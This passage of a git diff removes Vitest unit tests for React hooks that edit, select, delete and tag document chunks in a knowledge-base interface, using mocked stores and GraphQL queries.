-        it('returns closed state when no chunk is set', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.open).toBe(false);
-            expect(result.current.content).toBe('');
-        });
-
-        it('returns open state when chunk is set', () => {
-            hoisted.storeState.chunk = {content: 'Test content', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1'};
-            hoisted.storeState.content = 'Test content';
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.open).toBe(true);
-            expect(result.current.content).toBe('Test content');
-        });
-    });
-
-    describe('handleOpen', () => {
-        it('sets the chunk to edit', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            const chunk = {content: 'Original content', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1'};
-
-            act(() => {
-                result.current.handleOpen(chunk);
-            });
-
-            expect(hoisted.storeState.setChunk).toHaveBeenCalledWith(chunk);
-        });
-    });
-
-    describe('handleContentChange', () => {
-        it('updates the content', () => {
-            hoisted.storeState.chunk = {content: 'Original', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1'};
-            hoisted.storeState.content = 'Original';
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleContentChange('Updated content');
-            });
-
-            expect(hoisted.storeState.setContent).toHaveBeenCalledWith('Updated content');
-        });
-    });
-
-    describe('handleSave', () => {
-        it('does nothing when no chunk is set', () => {
-            hoisted.storeState.chunk = null;
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleSave();
-            });
-
-            expect(hoisted.updateMutate).not.toHaveBeenCalled();
-        });
-
-        it('calls update mutation with correct data', () => {
-            hoisted.storeState.chunk = {content: 'Original', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1'};
-            hoisted.storeState.content = 'Updated content';
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleSave();
-            });
-
-            expect(hoisted.updateMutate).toHaveBeenCalledWith({
-                id: 'chunk-1',
-                knowledgeBaseDocumentChunk: {
-                    content: 'Updated content',
-                },
-            });
-        });
-
-        it('shows success toast after update', () => {
-            hoisted.storeState.chunk = {content: 'Original', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1'};
-            hoisted.storeState.content = 'Updated';
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleSave();
-            });
-
-            expect(hoisted.toast).toHaveBeenCalledWith({
-                description: 'Chunk updated successfully.',
-            });
-        });
-
-        it('invalidates queries and clears dialog on success', () => {
-            hoisted.storeState.chunk = {content: 'Original', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1'};
-            hoisted.storeState.content = 'Updated';
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleSave();
-            });
-
-            expect(hoisted.invalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['knowledgeBase', {id: 'kb-1'}],
-            });
-            expect(hoisted.storeState.clearDialog).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleClose', () => {
-        it('clears the dialog', () => {
-            hoisted.storeState.chunk = {content: 'Test', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1'};
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            expect(hoisted.storeState.clearDialog).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('clears dialog when open is false', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(hoisted.storeState.clearDialog).toHaveBeenCalled();
-        });
-
-        it('does not clear dialog when open is true', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(hoisted.storeState.clearDialog).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('isPending', () => {
-        it('returns isPending from mutation', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.isPending).toBe(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkList.test.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkList.test.ts
deleted file mode 100644
index 4c32199882e..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkList.test.ts
+++ /dev/null
@@ -1,144 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentChunkList from '../useKnowledgeBaseDocumentChunkList';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        storeState: {
-            clearSelection: vi.fn(),
-            selectedChunks: [] as string[],
-            toggleChunkSelection: vi.fn(),
-        },
-    };
-});
-
-vi.mock('@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkSelectionStore', () => ({
-    useKnowledgeBaseDocumentChunkSelectionStore: vi.fn(() => ({
-        clearSelection: () => {
-            hoisted.storeState.selectedChunks = [];
-            hoisted.storeState.clearSelection();
-        },
-        selectedChunks: hoisted.storeState.selectedChunks,
-        toggleChunkSelection: (chunkId: string) => {
-            const index = hoisted.storeState.selectedChunks.indexOf(chunkId);
-
-            if (index > -1) {
-                hoisted.storeState.selectedChunks = hoisted.storeState.selectedChunks.filter((id) => id !== chunkId);
-            } else {
-                hoisted.storeState.selectedChunks = [...hoisted.storeState.selectedChunks, chunkId];
-            }
-
-            hoisted.storeState.toggleChunkSelection(chunkId);
-        },
-    })),
-}));
-
-describe('useKnowledgeBaseDocumentChunkList', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.storeState.selectedChunks = [];
-    });
-
-    describe('initial state', () => {
-        it('returns empty selection initially', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkList());
-
-            expect(result.current.selectedChunks).toEqual([]);
-        });
-    });
-
-    describe('handleSelectChunk', () => {
-        it('toggles chunk selection', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkList());
-
-            act(() => {
-                result.current.handleSelectChunk('chunk-1');
-            });
-
-            expect(hoisted.storeState.toggleChunkSelection).toHaveBeenCalledWith('chunk-1');
-        });
-
-        it('adds chunk to selection when not selected', () => {
-            const {rerender, result} = renderHook(() => useKnowledgeBaseDocumentChunkList());
-
-            act(() => {
-                result.current.handleSelectChunk('chunk-1');
-            });
-
-            rerender();
-
-            expect(result.current.selectedChunks).toContain('chunk-1');
-        });
-
-        it('removes chunk from selection when already selected', () => {
-            hoisted.storeState.selectedChunks = ['chunk-1'];
-
-            const {rerender, result} = renderHook(() => useKnowledgeBaseDocumentChunkList());
-
-            act(() => {
-                result.current.handleSelectChunk('chunk-1');
-            });
-
-            rerender();
-
-            expect(result.current.selectedChunks).not.toContain('chunk-1');
-        });
-
-        it('supports selecting multiple chunks', () => {
-            const {rerender, result} = renderHook(() => useKnowledgeBaseDocumentChunkList());
-
-            act(() => {
-                result.current.handleSelectChunk('chunk-1');
-            });
-
-            rerender();
-
-            act(() => {
-                result.current.handleSelectChunk('chunk-2');
-            });
-
-            rerender();
-
-            expect(result.current.selectedChunks).toContain('chunk-1');
-            expect(result.current.selectedChunks).toContain('chunk-2');
-        });
-    });
-
-    describe('handleClearSelection', () => {
-        it('clears all selected chunks', () => {
-            hoisted.storeState.selectedChunks = ['chunk-1', 'chunk-2', 'chunk-3'];
-
-            const {rerender, result} = renderHook(() => useKnowledgeBaseDocumentChunkList());
-
-            act(() => {
-                result.current.handleClearSelection();
-            });
-
-            rerender();
-
-            expect(hoisted.storeState.clearSelection).toHaveBeenCalled();
-            expect(result.current.selectedChunks).toEqual([]);
-        });
-
-        it('does nothing when selection is already empty', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkList());
-
-            act(() => {
-                result.current.handleClearSelection();
-            });
-
-            expect(hoisted.storeState.clearSelection).toHaveBeenCalled();
-        });
-    });
-
-    describe('selectedChunks', () => {
-        it('reflects current selection state', () => {
-            hoisted.storeState.selectedChunks = ['chunk-1', 'chunk-2'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkList());
-
-            expect(result.current.selectedChunks).toEqual(['chunk-1', 'chunk-2']);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkListItemDropdownMenu.test.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkListItemDropdownMenu.test.ts
deleted file mode 100644
index 380869fe06e..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkListItemDropdownMenu.test.ts
+++ /dev/null
@@ -1,107 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentChunkListItemDropdownMenu from '../useKnowledgeBaseDocumentChunkListItemDropdownMenu';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        setChunk: vi.fn(),
-        setChunkIdsToDelete: vi.fn(),
-    };
-});
-
-vi.mock('@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkEditDialogStore', () => ({
-    useKnowledgeBaseDocumentChunkEditDialogStore: vi.fn(() => ({
-        setChunk: hoisted.setChunk,
-    })),
-}));
-
-vi.mock('@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkDeleteDialogStore', () => ({
-    useKnowledgeBaseDocumentChunkDeleteDialogStore: vi.fn(() => ({
-        setChunkIdsToDelete: hoisted.setChunkIdsToDelete,
-    })),
-}));
-
-const mockChunk = {
-    content: 'Test chunk content',
-    id: 'chunk-1',
-    knowledgeBaseDocumentId: 'doc-1',
-    metadata: {page: 1},
-};
-
-describe('useKnowledgeBaseDocumentChunkListItemDropdownMenu', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('handleEdit', () => {
-        it('calls setChunk with the chunk', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListItemDropdownMenu({chunk: mockChunk}));
-
-            act(() => {
-                result.current.handleEdit();
-            });
-
-            expect(hoisted.setChunk).toHaveBeenCalledWith(mockChunk);
-        });
-
-        it('opens edit dialog for the correct chunk', () => {
-            const differentChunk = {
-                content: 'Different content',
-                id: 'chunk-2',
-                knowledgeBaseDocumentId: 'doc-1',
-                metadata: {page: 2},
-            };
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentChunkListItemDropdownMenu({chunk: differentChunk})
-            );
-
-            act(() => {
-                result.current.handleEdit();
-            });
-
-            expect(hoisted.setChunk).toHaveBeenCalledWith(differentChunk);
-        });
-    });
-
-    describe('handleDelete', () => {
-        it('calls setChunkIdsToDelete with the chunk id', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListItemDropdownMenu({chunk: mockChunk}));
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.setChunkIdsToDelete).toHaveBeenCalledWith(['chunk-1']);
-        });
-
-        it('opens delete dialog for the correct chunk', () => {
-            const differentChunk = {
-                content: 'Content',
-                id: 'chunk-99',
-                knowledgeBaseDocumentId: 'doc-1',
-                metadata: {},
-            };
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentChunkListItemDropdownMenu({chunk: differentChunk})
-            );
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.setChunkIdsToDelete).toHaveBeenCalledWith(['chunk-99']);
-        });
-    });
-
-    describe('return values', () => {
-        it('returns handleEdit and handleDelete functions', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListItemDropdownMenu({chunk: mockChunk}));
-
-            expect(typeof result.current.handleEdit).toBe('function');
-            expect(typeof result.current.handleDelete).toBe('function');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkListItemHeader.test.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkListItemHeader.test.ts
deleted file mode 100644
index 0457a952089..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkListItemHeader.test.ts
+++ /dev/null
@@ -1,136 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentChunkListItemHeader from '../useKnowledgeBaseDocumentChunkListItemHeader';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        storeState: {
-            selectedChunks: [] as string[],
-            toggleChunkSelection: vi.fn(),
-        },
-    };
-});
-
-vi.mock('@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkSelectionStore', () => ({
-    useKnowledgeBaseDocumentChunkSelectionStore: vi.fn(() => ({
-        selectedChunks: hoisted.storeState.selectedChunks,
-        toggleChunkSelection: (chunkId: string) => {
-            const index = hoisted.storeState.selectedChunks.indexOf(chunkId);
-
-            if (index > -1) {
-                hoisted.storeState.selectedChunks = hoisted.storeState.selectedChunks.filter((id) => id !== chunkId);
-            } else {
-                hoisted.storeState.selectedChunks = [...hoisted.storeState.selectedChunks, chunkId];
-            }
-
-            hoisted.storeState.toggleChunkSelection(chunkId);
-        },
-    })),
-}));
-
-describe('useKnowledgeBaseDocumentChunkListItemHeader', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.storeState.selectedChunks = [];
-    });
-
-    describe('isSelected', () => {
-        it('returns false when chunk is not selected', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListItemHeader({chunkId: 'chunk-1'}));
-
-            expect(result.current.isSelected).toBe(false);
-        });
-
-        it('returns true when chunk is selected', () => {
-            hoisted.storeState.selectedChunks = ['chunk-1'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListItemHeader({chunkId: 'chunk-1'}));
-
-            expect(result.current.isSelected).toBe(true);
-        });
-
-        it('returns false when a different chunk is selected', () => {
-            hoisted.storeState.selectedChunks = ['chunk-2'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListItemHeader({chunkId: 'chunk-1'}));
-
-            expect(result.current.isSelected).toBe(false);
-        });
-
-        it('returns true when multiple chunks are selected including this one', () => {
-            hoisted.storeState.selectedChunks = ['chunk-1', 'chunk-2', 'chunk-3'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListItemHeader({chunkId: 'chunk-2'}));
-
-            expect(result.current.isSelected).toBe(true);
-        });
-    });
-
-    describe('handleSelectionChange', () => {
-        it('toggles selection for the chunk', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListItemHeader({chunkId: 'chunk-1'}));
-
-            act(() => {
-                result.current.handleSelectionChange();
-            });
-
-            expect(hoisted.storeState.toggleChunkSelection).toHaveBeenCalledWith('chunk-1');
-        });
-
-        it('selects chunk when not selected', () => {
-            const {rerender, result} = renderHook(() =>
-                useKnowledgeBaseDocumentChunkListItemHeader({chunkId: 'chunk-1'})
-            );
-
-            expect(result.current.isSelected).toBe(false);
-
-            act(() => {
-                result.current.handleSelectionChange();
-            });
-
-            rerender();
-
-            expect(result.current.isSelected).toBe(true);
-        });
-
-        it('deselects chunk when already selected', () => {
-            hoisted.storeState.selectedChunks = ['chunk-1'];
-
-            const {rerender, result} = renderHook(() =>
-                useKnowledgeBaseDocumentChunkListItemHeader({chunkId: 'chunk-1'})
-            );
-
-            expect(result.current.isSelected).toBe(true);
-
-            act(() => {
-                result.current.handleSelectionChange();
-            });
-
-            rerender();
-
-            expect(result.current.isSelected).toBe(false);
-        });
-
-        it('toggles correct chunk when multiple chunks exist', () => {
-            hoisted.storeState.selectedChunks = ['chunk-2'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListItemHeader({chunkId: 'chunk-1'}));
-
-            act(() => {
-                result.current.handleSelectionChange();
-            });
-
-            expect(hoisted.storeState.toggleChunkSelection).toHaveBeenCalledWith('chunk-1');
-        });
-    });
-
-    describe('return values', () => {
-        it('returns isSelected and handleSelectionChange', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListItemHeader({chunkId: 'chunk-1'}));
-
-            expect(typeof result.current.isSelected).toBe('boolean');
-            expect(typeof result.current.handleSelectionChange).toBe('function');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkListSelectionBar.test.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkListSelectionBar.test.ts
deleted file mode 100644
index 1b45b15e402..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkListSelectionBar.test.ts
+++ /dev/null
@@ -1,176 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentChunkListSelectionBar from '../useKnowledgeBaseDocumentChunkListSelectionBar';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        deleteDialogStoreState: {
-            setChunkIdsToDelete: vi.fn(),
-        },
-        selectionStoreState: {
-            clearSelection: vi.fn(),
-            selectedChunks: [] as string[],
-        },
-    };
-});
-
-vi.mock('@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkSelectionStore', () => ({
-    useKnowledgeBaseDocumentChunkSelectionStore: vi.fn(() => ({
-        clearSelection: () => {
-            hoisted.selectionStoreState.selectedChunks = [];
-            hoisted.selectionStoreState.clearSelection();
-        },
-        selectedChunks: hoisted.selectionStoreState.selectedChunks,
-    })),
-}));
-
-vi.mock('@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkDeleteDialogStore', () => ({
-    useKnowledgeBaseDocumentChunkDeleteDialogStore: vi.fn(() => ({
-        setChunkIdsToDelete: hoisted.deleteDialogStoreState.setChunkIdsToDelete,
-    })),
-}));
-
-describe('useKnowledgeBaseDocumentChunkListSelectionBar', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.selectionStoreState.selectedChunks = [];
-    });
-
-    describe('initial state', () => {
-        it('returns no selection when empty', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            expect(result.current.hasSelection).toBe(false);
-            expect(result.current.selectedCount).toBe(0);
-        });
-
-        it('returns selection when chunks are selected', () => {
-            hoisted.selectionStoreState.selectedChunks = ['chunk-1', 'chunk-2'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            expect(result.current.hasSelection).toBe(true);
-            expect(result.current.selectedCount).toBe(2);
-        });
-    });
-
-    describe('hasSelection', () => {
-        it('returns false when no chunks are selected', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            expect(result.current.hasSelection).toBe(false);
-        });
-
-        it('returns true when one chunk is selected', () => {
-            hoisted.selectionStoreState.selectedChunks = ['chunk-1'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            expect(result.current.hasSelection).toBe(true);
-        });
-
-        it('returns true when multiple chunks are selected', () => {
-            hoisted.selectionStoreState.selectedChunks = ['chunk-1', 'chunk-2', 'chunk-3'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            expect(result.current.hasSelection).toBe(true);
-        });
-    });
-
-    describe('selectedCount', () => {
-        it('returns 0 when no chunks are selected', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            expect(result.current.selectedCount).toBe(0);
-        });
-
-        it('returns correct count for single selection', () => {
-            hoisted.selectionStoreState.selectedChunks = ['chunk-1'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            expect(result.current.selectedCount).toBe(1);
-        });
-
-        it('returns correct count for multiple selections', () => {
-            hoisted.selectionStoreState.selectedChunks = ['chunk-1', 'chunk-2', 'chunk-3', 'chunk-4'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            expect(result.current.selectedCount).toBe(4);
-        });
-    });
-
-    describe('handleClearSelection', () => {
-        it('clears all selections', () => {
-            hoisted.selectionStoreState.selectedChunks = ['chunk-1', 'chunk-2'];
-
-            const {rerender, result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            act(() => {
-                result.current.handleClearSelection();
-            });
-
-            rerender();
-
-            expect(hoisted.selectionStoreState.clearSelection).toHaveBeenCalled();
-            expect(result.current.hasSelection).toBe(false);
-            expect(result.current.selectedCount).toBe(0);
-        });
-    });
-
-    describe('handleDeleteSelected', () => {
-        it('sets selected chunks for deletion', () => {
-            hoisted.selectionStoreState.selectedChunks = ['chunk-1', 'chunk-2', 'chunk-3'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            act(() => {
-                result.current.handleDeleteSelected();
-            });
-
-            expect(hoisted.deleteDialogStoreState.setChunkIdsToDelete).toHaveBeenCalledWith([
-                'chunk-1',
-                'chunk-2',
-                'chunk-3',
-            ]);
-        });
-
-        it('opens delete dialog for single selection', () => {
-            hoisted.selectionStoreState.selectedChunks = ['chunk-1'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            act(() => {
-                result.current.handleDeleteSelected();
-            });
-
-            expect(hoisted.deleteDialogStoreState.setChunkIdsToDelete).toHaveBeenCalledWith(['chunk-1']);
-        });
-
-        it('calls setChunkIdsToDelete with empty array when no selection', () => {
-            hoisted.selectionStoreState.selectedChunks = [];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            act(() => {
-                result.current.handleDeleteSelected();
-            });
-
-            expect(hoisted.deleteDialogStoreState.setChunkIdsToDelete).toHaveBeenCalledWith([]);
-        });
-    });
-
-    describe('return values', () => {
-        it('returns all expected properties', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkListSelectionBar());
-
-            expect(typeof result.current.handleClearSelection).toBe('function');
-            expect(typeof result.current.handleDeleteSelected).toBe('function');
-            expect(typeof result.current.hasSelection).toBe('boolean');
-            expect(typeof result.current.selectedCount).toBe('number');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentList.test.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentList.test.ts
deleted file mode 100644
index 1df179bd82c..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentList.test.ts
+++ /dev/null
@@ -1,264 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentList from '../useKnowledgeBaseDocumentList';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        allTagsData: {
-            knowledgeBaseDocumentTags: [] as Array<{id: string; name: string}>,
-        },
-        tagsByDocumentData: {
-            knowledgeBaseDocumentTagsByDocument: [] as Array<{
-                knowledgeBaseDocumentId: string;
-                tags: Array<{id: string; name: string}>;
-            }>,
-        },
-    };
-});
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useKnowledgeBaseDocumentTagsByDocumentQuery: vi.fn(() => ({
-        data: hoisted.tagsByDocumentData,
-    })),
-    useKnowledgeBaseDocumentTagsQuery: vi.fn(() => ({
-        data: hoisted.allTagsData,
-    })),
-}));
-
-const createMockDocument = (id: string, chunks: Array<{content: string; id: string}> = []) => ({
-    chunks: chunks.map((chunk) => ({...chunk, knowledgeBaseDocumentId: id, metadata: null})),
-    createdDate: '2024-01-01',
-    document: null,
-    id,
-    name: `Document ${id}`,
-    status: 2,
-});
-
-describe('useKnowledgeBaseDocumentList', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.tagsByDocumentData = {knowledgeBaseDocumentTagsByDocument: []};
-        hoisted.allTagsData = {knowledgeBaseDocumentTags: []};
-    });
-
-    describe('getSortedChunksForDocument', () => {
-        it('returns empty array for document with no chunks', () => {
-            const documents = [createMockDocument('doc-1', [])];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            expect(result.current.getSortedChunksForDocument('doc-1')).toEqual([]);
-        });
-
-        it('returns sorted chunks by id', () => {
-            const documents = [
-                createMockDocument('doc-1', [
-                    {content: 'Content C', id: 'chunk-c'},
-                    {content: 'Content A', id: 'chunk-a'},
-                    {content: 'Content B', id: 'chunk-b'},
-                ]),
-            ];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            const sortedChunks = result.current.getSortedChunksForDocument('doc-1');
-
-            expect(sortedChunks[0].id).toBe('chunk-a');
-            expect(sortedChunks[1].id).toBe('chunk-b');
-            expect(sortedChunks[2].id).toBe('chunk-c');
-        });
-
-        it('returns empty array for non-existent document', () => {
-            const documents = [createMockDocument('doc-1', [{content: 'Content', id: 'chunk-1'}])];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            expect(result.current.getSortedChunksForDocument('non-existent')).toEqual([]);
-        });
-
-        it('handles multiple documents correctly', () => {
-            const documents = [
-                createMockDocument('doc-1', [
-                    {content: 'Content 1B', id: 'chunk-1b'},
-                    {content: 'Content 1A', id: 'chunk-1a'},
-                ]),
-                createMockDocument('doc-2', [
-                    {content: 'Content 2B', id: 'chunk-2b'},
-                    {content: 'Content 2A', id: 'chunk-2a'},
-                ]),
-            ];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            const doc1Chunks = result.current.getSortedChunksForDocument('doc-1');
-            const doc2Chunks = result.current.getSortedChunksForDocument('doc-2');
-
-            expect(doc1Chunks[0].id).toBe('chunk-1a');
-            expect(doc1Chunks[1].id).toBe('chunk-1b');
-            expect(doc2Chunks[0].id).toBe('chunk-2a');
-            expect(doc2Chunks[1].id).toBe('chunk-2b');
-        });
-
-        it('filters out null chunks', () => {
-            const documents = [
-                {
-                    ...createMockDocument('doc-1', []),
-                    chunks: [
-                        {content: 'Content', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1', metadata: null},
-                        null,
-                        {content: 'Content 2', id: 'chunk-2', knowledgeBaseDocumentId: 'doc-1', metadata: null},
-                    ],
-                },
-            ];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            const chunks = result.current.getSortedChunksForDocument('doc-1');
-
-            expect(chunks).toHaveLength(2);
-        });
-    });
-
-    describe('getTagsForDocument', () => {
-        it('returns empty array when no tags for document', () => {
-            const documents = [createMockDocument('doc-1', [])];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            expect(result.current.getTagsForDocument('doc-1')).toEqual([]);
-        });
-
-        it('returns tags for document', () => {
-            hoisted.tagsByDocumentData = {
-                knowledgeBaseDocumentTagsByDocument: [
-                    {
-                        knowledgeBaseDocumentId: 'doc-1',
-                        tags: [
-                            {id: 'tag-1', name: 'Tag 1'},
-                            {id: 'tag-2', name: 'Tag 2'},
-                        ],
-                    },
-                ],
-            };
-
-            const documents = [createMockDocument('doc-1', [])];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            const tags = result.current.getTagsForDocument('doc-1');
-
-            expect(tags).toHaveLength(2);
-            expect(tags[0].name).toBe('Tag 1');
-            expect(tags[1].name).toBe('Tag 2');
-        });
-
-        it('returns empty array for non-existent document', () => {
-            hoisted.tagsByDocumentData = {
-                knowledgeBaseDocumentTagsByDocument: [
-                    {
-                        knowledgeBaseDocumentId: 'doc-1',
-                        tags: [{id: 'tag-1', name: 'Tag 1'}],
-                    },
-                ],
-            };
-
-            const documents = [createMockDocument('doc-1', [])];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            expect(result.current.getTagsForDocument('doc-2')).toEqual([]);
-        });
-    });
-
-    describe('getRemainingTagsForDocument', () => {
-        it('returns all tags when document has no tags', () => {
-            hoisted.allTagsData = {
-                knowledgeBaseDocumentTags: [
-                    {id: 'tag-1', name: 'Tag 1'},
-                    {id: 'tag-2', name: 'Tag 2'},
-                    {id: 'tag-3', name: 'Tag 3'},
-                ],
-            };
-
-            const documents = [createMockDocument('doc-1', [])];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentList({documents}));
-
-            const remainingTags = result.current.getRemainingTagsForDocument('doc-1');
-
-            expect(remainingTags).toHaveLength(3);
-        });
-
-        it('filters out tags already assigned to document', () => {
-            hoisted.allTagsData = {
-                knowledgeBaseDocumentTags: [
